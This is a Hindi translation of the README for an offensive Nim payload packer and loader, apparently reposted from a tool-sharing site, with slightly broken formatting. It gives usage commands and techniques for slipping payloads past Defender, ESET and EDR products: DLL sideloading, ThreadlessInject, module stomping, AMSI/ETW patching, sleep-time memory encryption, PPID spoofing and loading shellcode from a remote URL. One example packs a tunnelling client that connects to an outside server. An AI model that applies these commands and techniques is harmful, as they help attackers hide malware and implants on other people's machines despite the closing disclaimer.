मेरा कस्टम `Nim-RUNPE` कार्यान्वयन दुर्भाग्य से वर्तमान में GoLang बाइनरी को संभाल नहीं सकता। यह Nim के अंदर एक अजीब बग है, कभी गहराई से जांच करनी होगी। निश्चित रूप से एक खरगोश का छेद, पहले ही बहुत समय बिताया।

फिलहाल एक वर्कअराउंड के रूप में आप `--peinject --large` का उपयोग करके golang बाइनरी से शेलकोड उत्पन्न कर सकते हैं ताकि इसे स्थानीय रूप से एक्जीक्यूटेबल या DLL के रूप में निष्पादित किया जा सके।

उदाहरण:```batch
NimSyscallLoader --file chisel.exe --peinject --large --output ChiselPacked.exe

or

NimSyscallLoader --file chisel.exe --peinject --large --dll --arguments "client https://chisel-demo.herokuapp.com 3000" --output ChiselPacked.dll

आपको DLL का उपयोग करते समय हार्डकोडेड आर्गुमेंट्स पास करने होंगे, क्योंकि PEInject DLLs होस्ट टार्गेट से आर्गुमेंट्स स्वीकार नहीं करते हैं। रिमोट इंजेक्शन भी संभव है, लेकिन यहाँ आर्गुमेंट्स को हार्डकोड नहीं किया जा सकता।

डिफेंडर वर्तमान में Golang Packed बायनेरिज़ को डिटेक्ट करता है, यह निश्चित है क्योंकि इसमें बहुत अधिक एंट्रोपी (बड़े पेलोड) होती है, जिससे बाइनरी में 95% या उससे अधिक एन्क्रिप्टेड कंटेंट होता है। इन डिटेक्शन से बचने के लिए या तो DLL का उपयोग करें या किसी भी मान के साथ --pump का उपयोग करें।

DLL-साइडलोडिंग

आप --clone DLLName फ़्लैग के साथ DLL-साइडलोडिंग में सक्षम पेलोड जनरेट कर सकते हैं।

उदाहरण के लिए, निम्नलिखित मूल Windows version.dll के API Exports के साथ एक version.dll उत्पन्न करेगा:```batch NimSyscallLoader.exe --file C:\dontscan\calc64thread.bin --dll --clone C:\windows\system32\version.dll --output version.dll

root@kitploit:~
इसका उपयोग साइडलोडिंग के लिए विभिन्न वैध हस्ताक्षरित बाइनरीज के लिए किया जा सकता है, जैसे `OneDriveUpdater.exe`, `slllauncher.exe` और अधिक। कुछ महत्वपूर्ण बिंदु हैं जिन पर ध्यान देना चाहिए और आपको उनके बारे में स्वयं सावधानी बरतनी चाहिए:

* Exitfunction=Process के साथ शेलकोड का उपयोग करने से होस्ट बाइनरी में क्रैश होने की संभावना अधिक होती है
* स्थानीय इंजेक्शन का उपयोग करने से बाइनरी प्रारंभ नहीं होगी, क्योंकि DLL C2-पेलोड के लिए निष्पादन पूरा नहीं करेगा
* वर्तमान में C# पेलोड और Nim साइडलोडिंग के साथ एक बग या समस्या है। वे पेलोड स्थानीय रूप से चलने पर निष्पादित नहीं होते हैं (`--csharp` या `--peinject`), जांच करनी होगी
* मैं Teams.exe के साथ Nim DLL साइडलोडिंग पेलोड का उपयोग करने की अनुशंसा नहीं कर सकता - कुछ DLL के लिए यहाँ अजीब व्यवहार था और कई मामलों में Teams अब शुरू नहीं हुआ। इस बीच, यह कई EDR विक्रेताओं द्वारा भी पहचाना जाता है
* अपने पेलोड का उपयोग करने से पहले उनका परीक्षण करें।

कस्टम साइडलोडिंग बाइनरीज खोजने के लिए अपना समय लें या [https://hijacklibs.net/](https://hijacklibs.net/) जैसी जगह से कुछ ज्ञात दस्तावेजी बाइनरीज का उपयोग करें।

### Custom Images or meta data

यदि आप अपने लोडर एक्सीक्यूटेबल्स के लिए कस्टम आइकन या कस्टम मेटाडेटा का उपयोग करना चाहते हैं, तो आपको रिसोर्सेज फ़ोल्डर में `cmd.rc` फ़ाइल बदलनी चाहिए।

इसे `windres cmd.rc -o cmd.o` के माध्यम से `cmd.o` फ़ाइल में संकलित किया जा सकता है। आप `demo.ico` फ़ाइल को किसी भी अन्य ICON फ़ाइल से बदल सकते हैं जिसे आप उपयोग करना चाहते हैं।

DLL मेटाडेटा के लिए आप `DLL.rc` बदल सकते हैं।

### Other Entropy detections or alternative SandBox Evasion

कुछ विक्रेता, जैसे ESET, बाइनरी/DLL को फ्लैग करते हैं क्योंकि एन्क्रिप्टेड पेलोड बाइनरी में उच्च एन्ट्रापी वाले ब्लॉब के रूप में होता है। इस प्रकार की डिटेक्शन और/या सैंडबॉक्स जांच को `--shellcodeFile` या `--shellcodeURL` फ्लैग के साथ बायपास किया जा सकता है, क्योंकि तब पेलोड परिणामी बाइनरी में एम्बेड नहीं होता बल्कि एक अलग फ़ाइल या दूरस्थ वेबसर्वर से लोड किया जाता है।

### ThreadlessInject - stuff to care for

यदि आप ThreadlessInject का उपयोग करना चाहते हैं - तो आपको पता होना चाहिए कि आप क्या कर रहे हैं। चूंकि यह रिमोट प्रोसेस में एक API को हुक करता है, इस तकनीक को प्रत्येक अलग रिमोट प्रोसेस के लिए समायोजित करने की आवश्यकता है। आपको पहले यह जानना होगा कि रिमोट प्रोसेस द्वारा आमतौर पर नियमित रूप से किन API को कॉल किया जाता है ताकि पता चले कि क्या हुक करना है। उदाहरण के लिए, आप सामान्य विंडोज प्रक्रियाओं के लिए [API Monitor](http://www.rohitab.com/apimonitor) के माध्यम से इसकी निगरानी कर सकते हैं। हुक को अपने लक्ष्य प्रक्रिया में समायोजित करें, अन्यथा पेलोड निष्पादित नहीं होगा।

डिफ़ॉल्ट मान केवल बिल्ट-इन स्पॉन/इंजेक्ट `rundll32.exe` लक्ष्य के लिए उपयोगी हैं, क्योंकि यह प्रक्रिया नियमित रूप से `ntdll.dll` से `NtWaitForMultipleObjects` को कॉल करती है। अन्य प्रक्रियाएं भी इस फ़ंक्शन को कॉल करती हैं, लेकिन यहाँ अनुशंसा है कि विकल्पों को अपने लक्ष्य प्रक्रिया में समायोजित करें।

### Module Stomping - stuff to care for

मॉड्यूल स्टॉम्पिंग हमें शेलकोड इंजेक्शन के लिए अब मेमोरी आवंटित न करने का लाभ देती है, क्योंकि हम पहले से लोड की गई DLL के `.text` सेक्शन के (एक भाग) को ओवरराइट करते हैं। यदि DLL पहले से रिमोट टार्गेट प्रक्रिया में लोड नहीं हुई थी, तो इसे पहले `LoadLibrary` पर रिमोट थ्रेड बनाकर या ThreadlessInject का उपयोग करते समय कस्टम LoadLibrary-शेलकोड की ओर इशारा करने वाले हुक के ऊपर बलपूर्वक लोड किया जाएगा। डिफ़ॉल्ट रूप से, स्टॉम्पिंग के लिए DLL `chakra.dll` का उपयोग किया जाता है, जो अपने आकार के कारण अधिकांश मामलों में उपयुक्त है। हालाँकि, आप पैकर पैरामीटर के माध्यम से DLL को अपनी इच्छानुसार बदल सकते हैं।

CFG से बचने के लिए, वर्तमान कार्यान्वयन एक (या Caro-Kann सक्षम होने पर दो) DLL एंट्रीपॉइंट को ओवरराइट करता है:

- `JsRunScript`
- `MemProtectHeapUnprotectCurrentThread`

यदि आप DLL बदलते हैं, तो आपको लक्ष्य फ़ंक्शन नाम भी बदलने होंगे, क्योंकि वे अन्य DLL पर मौजूद नहीं हो सकते हैं। साथ ही, यह समस्या हो सकती है यदि:
1. लक्ष्य DLL के `.text` सेक्शन में आपके शेलकोड के लिए पर्याप्त जगह नहीं है
2. `.text` सेक्शन में दो फ़ंक्शनों के बीच पर्याप्त जगह नहीं है, ताकि पहला दूसरे द्वारा ओवरराइट हो जाए

मेरा कोड इन स्थितियों को संभालता नहीं है और वर्तमान में इनकी जाँच नहीं करता है। इसलिए आपको उत्पादन में उपयोग करने से पहले आकार और ऑफ़सेट की जाँच करनी चाहिए ताकि सुनिश्चित हो सके।

साथ ही, आप में से कुछ के लिए स्पष्ट हो सकता है लेकिन सर्वर क्लाइंट से भिन्न DLL का उपयोग करते हैं। इसलिए सर्वर को लक्षित करते समय लोडर/टूल को समायोजित करने की आवश्यकता है।

यह मॉड्यूल स्टॉम्पिंग कार्यान्वयन DLL को `DONT_RESOLVE_DLL_REFERENCES` के साथ `LoadLibraryEx` के माध्यम से **नहीं** लोड करता है। यह करने का अधिक अस्थिर तरीका है, लेकिन मैंने फिर भी इसे इस तरह से लागू किया ताकि इस API उपयोग से विशिष्ट IoCs के लिए EDR डिटेक्शन से छुटकारा मिल सके।

अधिक जानकारी के लिए यह ब्लॉग पोस्ट पढ़ें:
- [https://bruteratel.com/release/2023/03/19/Release-Nightmare/](https://bruteratel.com/release/2023/03/19/Release-Nightmare/)

### Memory encryption

वर्तमान में, पैकर में दो मेमोरी एन्क्रिप्शन तकनीकें एम्बेडेड हैं। यह या तो ShellcodeFluctuation के लिए `--fluctuate` है या SleepyCrypt के लिए `--sleepycrypt` है।

ShellcodeFluctuation वर्तमान में केवल C2-पेलोड के लिए उपयोग किया जा सकता है, जो Win32 Sleep का उपयोग करते हैं क्योंकि यह इस फ़ंक्शन को हुक करता है। इस मामले में, इम्प्लांट के सोने पर हर बार केवल शेलकोड स्टैक में एन्क्रिप्ट होगा।

SleepyCrypt न केवल शेलकोड बल्कि पूरे PE-स्टैक को एन्क्रिप्ट करेगा, यानी इसके सभी सेक्शन। इसका नकारात्मक पक्ष यह है कि एन्क्रिप्शन आपके इम्प्लांट से स्वतंत्र है और एक निश्चित समय मान में होगा, उदा. 10 सेकंड एन्क्रिप्शन और 1 सेकंड निष्पादन समय। इससे कुछ C2-फ्रेमवर्क के लिए निष्पादन में समस्याएँ हो सकती हैं।

### Why is my MSF- or CobaltStrike or XxX still flagged?

यह पढ़ें:
[https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/](https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/)

## Known Bugs

- लिनक्स सिस्टम पर नए mingw-gcc संस्करण के साथ `--hellsgate` का उपयोग करने पर संकलन विफल हो जाएगा
- कंपाइलर त्रुटियों से बचने के लिए लिनक्स/डेबियन पर पैकर को `-d:noRES` के साथ संकलित करें
- `--peload` के साथ संयोजन में `--syswhispers --jump` के परिणामस्वरूप क्रैश होता है। फिलहाल मैं केवल इस विकल्प का उपयोग न करने की सलाह दे सकता हूं क्योंकि मुझे नहीं पता कि यह दुष्प्रभाव कहां से आता है
- `--obfuscate` ASM-स्टब्स को अच्छी तरह से संभाल नहीं सकता है और इसलिए `--hellsgate` या `--syswhispers` के साथ बाइनरीज संकलित नहीं कर सकता है
- XP/WS2k3 केवल `--syswhispers --noAntidebug --noDInvoke` फ्लैग के साथ काम करेगा
- `--x86` / `--wow64` अब अनुरक्षित नहीं है और वर्तमान में बंडल (non-multilib) MinGW-w64 टूलचेन के साथ टूटा हुआ है। x64 बिल्ड का उपयोग करें।
- नए MinGW-w64 लिंकर (11+) डिफ़ॉल्ट रूप से उच्च PE इमेज बेस पर सेट होते हैं जो `relocation truncated to fit: R_X86_64_32S against .bss` त्रुटि के साथ `-static` लिंक को तोड़ देता है। पैकर अब इससे बचने के लिए जनरेटेड लोडर कंपाइल कमांड में `-Wl,--image-base=0x10000` पास करता है। यदि आप इस स्टैक के साथ स्टैंडअलोन Nim+static बाइनरी बनाते हैं, तो आपको उसी फ्लैग की आवश्यकता हो सकती है।

## TO-DO
- [x] syscalls के माध्यम से PELoader
- [x] Hellsgate समर्थन
- [X] केवल आवश्यक Winim लाइब्रेरी लोड करें
- [x] [SnD_AMSI](https://github.com/whydee86/SnD_AMSI) पर आधारित रिमोट प्रक्रिया AMSI/ETW पैचिंग
- [X] रिमोट पैचिंग के लिए Syscalls का उपयोग करें
- [X] पैचिंग से पहले रिमोट प्रक्रिया में "to patch" DLL (ntdll या amsi.dll) को दूरस्थ रूप से लोड करें (अन्यथा यह हमारी मदद नहीं करेगा)
- [x] रिमोट शेलकोड इंजेक्शन + PELoading के लिए Hellsgate समर्थन
- [X] DLL आउटपुट
- [X] DLL साइडलोडिंग क्षमताएँ
- [X] PowerShell आउटपुट
- [X] C# आउटपुट
- [X] win32 फ़ंक्शनों के लिए अधिक syscalls और/या D/Invoke
- [X] Cobalt Strike एकीकरण - CNA
- [ ] PEB फील्ड के हेरफेर के माध्यम से पैरामीटर पास करना (जैसे कमांड लाइन स्पूफिंग)
- [X] API इम्पोर्ट फ़ंक्शन पैचिंग के माध्यम से पैरामीटर पास करना
- [X] स्लीप हुक के माध्यम से शेलकोड मेमोरी एन्क्रिप्शन [ShellcodeFluctuation जैसा](https://github.com/mgeeky/ShellcodeFluctuation)
- [X] प्रक्रिया बनने और EDR के हुक लोड होने के बाद ‘GetConsoleWindow’ और ‘ShowWindow’ विंडोज फ़ंक्शन को कॉल करना, और फिर विंडोज गुणों को GUI कंपाइल फ्लैग के बजाय हिडन में बदलना
- [X] कुछ संभावित महत्वपूर्ण स्टब्स के बीच अधिक स्लीप
- [X] इसमें इंजेक्ट करने से पहले स्पॉन करने के लिए कस्टम रिमोट प्रक्रिया परिभाषित करें (अभी यह हार्डकोडेड नोटपैड है)
- [X] नवनिर्मित प्रक्रियाओं के लिए PPID स्पूफिंग
- [X] नई प्रक्रियाओं के लिए BlockDLLs
- [X] पैचलेस AMSI बायपास (उदा. https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf)
- [X] NtCreateSection हुक के माध्यम से AMSI बायपास (उदा. https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/)
- [X] EtwNotificationRegister, EtwEventRegister, EtwEventWriteFull के लिए अधिक ETW पैचिंग
- [X] सेवा बाइनरी समर्थन, जैसे https://github.com/enthus1ast/nimWindowsService/
- [X] प्रक्रिया अटैच के साथ DLLMain के लिए DLL हाइजैकिंग स्विच
- [X] x86 कास्टिंग बग्स को ठीक करें
- [ ] Wow64 समर्थन
- [X] बीच में `--pump` नल बाइट्स जोड़ें जैसे https://gitlab.com/ORCA000/entropyfix (परीक्षण करना है, क्रैश हो सकते हैं)
- [X] CPL आउटपुट फ़ाइलें
- [ ] डिकॉय HTTP अनुरोध विकल्प
- [X] एम्बेडिंग के विकल्प के रूप में वेबसर्वर से शेलकोड डाउनलोड करें या स्थानीय फ़ाइल से पढ़ें (डिफ़ॉल्ट)
- [X] फ़ंक्शन IoCs से बचने और आकार कम करने के लिए dynlib को ओवरराइट करने के लिए अधिक कंपाइलर फ्लैग का उपयोग करें `-d:nimNoLibc -d:noSignalHandler --gc:none -d:noSignalHandler --infChecks:off --stdout:off --hotCodeReloading:off --stackTraceMsgs:off --tlsEmulation:off --nanChecks:off -d:nimBuiltinSetjmp --sinkInference:off --deepcopy:off --styleCheck:off --skipParentCfg --passC:"-nostdlib -ffunction-sections -fno-ident -fno-asynchronous-unwind-tables -fno-exceptions" --passL:"-s --disable-runtime-pseudo-relo  --disable-reloc-section" --dynlibOverrideAll`
- [X] रिमोट प्रक्रिया इंजेक्शन के लिए या वैकल्पिक हैंडल एलिवेशन के रूप में OpenProcess के बजाय क्लोन किए गए हैंडल का उपयोग करें (Handlekatz जैसा)
- [X] हैंडल एलिवेशन
- [X] रिमोट इंजेक्शन के लिए ThreadlessInject जोड़ें
- [ ] https://github.com/lem0nSec/CreateRemoteThreadPlus के Nim पोर्ट के माध्यम से रिमोट इंजेक्शन के लिए कॉलबैक निष्पादन प्रिमिटिव जोड़ें
- [X] पेलोड को MAC या IP-पते के रूप में संग्रहीत करें और एन्ट्रापी कम करने के लिए रनटाइम पर एन्क्रिप्टेड पेलोड प्राप्त करें
- [X] मेमोरी स्कैन डिटेक्शन से बचने के लिए थ्रेड स्टार्ट एड्रेस में विभिन्न क्षेत्रों के लिए कई जंप जोड़ें (DripLoader जैसा) (https://web.archive.org/web/20220319032617/https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection)

## CREDITS

- [X] [@WhyDee86](https://twitter.com/WhyDee86) - स्लीप फ़ंक्शन + रिमोट प्रक्रिया लाइब्रेरी मॉड्यूल + हार्डकोडेड आर्गुमेंट्स प्रारंभिक कोड
- [X] [@chvancooten](https://twitter.com/chvancooten) - कस्टम स्ट्रेंक + उनके Nim पैकर से प्रेरणा
- [X] [@lefayjey](https://github.com/lefayjey) - DLL आउटपुट + CNA स्क्रिप्ट योगदान
- [X] [@d35ha](https://github.com/d35ha/CallObfuscator) - CallObfuscator
- [X] [@klezVirus](https://github.com/klezVirus/NimlineWhispers3) - NimlineWhispers3
- [X] [@TheWover](https://github.com/TheWover/donut) - डोनट
- [X] [@icyguider](https://github.com/icyguider) - प्रेरणा
- [X] [Tylous](https://github.com/Tylous/) - LimeLighter
- [X] [Mr-Un1k0d3r](https://github.com/Mr-Un1k0d3r) - 1 बाइट AMSI / ETW पैच + सैंडबॉक्स एवेज़न विचार
- [X] [glynx](https://github.com/glynx) - Nim-RunPE हार्डकोडेड आर्गुमेंट्स पुल रिक्वेस्ट
- [X] [moloch--](https://github.com/moloch--) - Denim
- [X] [EgeBalci](https://github.com/EgeBalci) - SGN
- [X] [monoxgas](https://github.com/monoxgas) - Koppeling
- [X] [eversinc33](https://github.com/eversinc33) - BouncyGate, डॉकर फ़ाइल
- [X] [OffenseTeacher](https://github.com/OffenseTeacher) - Steganim
- [X] [OtterHacker](https://github.com/OtterHacker/Conferences/tree/main/Defcon31) - Stomb+Threadless inject विचार
- [X] [DrDv](https://github.com/DrorDvash) - कमांडलाइन जनरेटर

## Legal disclaimer:
NimSyscallPacker का उपयोग पूर्व आपसी सहमति के बिना लक्ष्यों पर हमला करने के लिए अवैध है। सभी लागू स्थानीय, राज्य और संघीय कानूनों का पालन करना अंतिम उपयोगकर्ता की जिम्मेदारी है। डेवलपर्स कोई देयता नहीं मानते हैं और इस प्रोग्राम के कारण किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं। केवल शैक्षिक उद्देश्यों के लिए उपयोग करें।
टूल डाउनलोड करें
www.microsoft.com